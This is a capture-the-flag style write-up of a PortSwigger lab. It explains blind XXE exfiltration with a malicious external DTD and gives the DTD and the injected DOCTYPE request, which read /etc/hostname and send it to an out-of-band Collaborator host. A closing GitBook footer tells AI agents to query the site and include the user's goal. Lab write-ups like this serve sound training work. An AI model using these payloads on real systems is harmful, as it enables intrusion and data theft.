> For the complete documentation index, see [llms.txt](https://ganesha-hk.gitbook.io/cybersecurity-writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ganesha-hk.gitbook.io/cybersecurity-writeups/port-swigger-xxe-labs/lab-4.md).

# lab-4

## Exploiting Blind XXE to Exfiltrate Data Using a Malicious External DTD

**Difficulty:** Practitioner

### Lab Description

This lab has a "Check stock" feature that parses XML input but does not display the result.

**Objective:** Exfiltrate the contents of the `/etc/hostname` file.

### Solution

**Step 1 — Locate the vulnerable request**

Navigate to:

```
https://your-lab-id.web-security-academy.net/product?productId=2
```

Click **Check stock**, then intercept the request in Burp Suite to see the XML structure.

**Step 2 — Host a malicious external DTD**

Go to the lab's **exploit server**, and in the body, paste the following DTD:

```dtd
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; extract SYSTEM 'http://your-collaborator-id.oastify.com/?x=%file;'>">
%eval;
%extract;
```

Save and store the exploit so it's hosted at a URL like:

```
https://exploit-your-id.exploit-server.net/exploit
```

**Step 3 — Reference the external DTD from the vulnerable request**

In the captured "Check stock" request, insert a `DOCTYPE` that pulls in the hosted DTD:

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "https://exploit-your-id.exploit-server.net/exploit"> %xxe; ]>
<stockCheck>
    <productId>2</productId>
    <storeId>1</storeId>
</stockCheck>
```

**Step 4 — Confirm exfiltration**

Send the request. The server fetches the external DTD, which in turn reads `/etc/hostname` and exfiltrates its contents as a query parameter to your Collaborator/exploit server. Check the request log to retrieve the leaked hostname value.

### Conclusion

This demonstrates blind XXE data exfiltration: since the response doesn't reflect entity values directly, a malicious external DTD chains parameter entities together to read a local file and smuggle its contents out via an out-of-band HTTP request.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://ganesha-hk.gitbook.io/cybersecurity-writeups/port-swigger-xxe-labs/lab-4.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
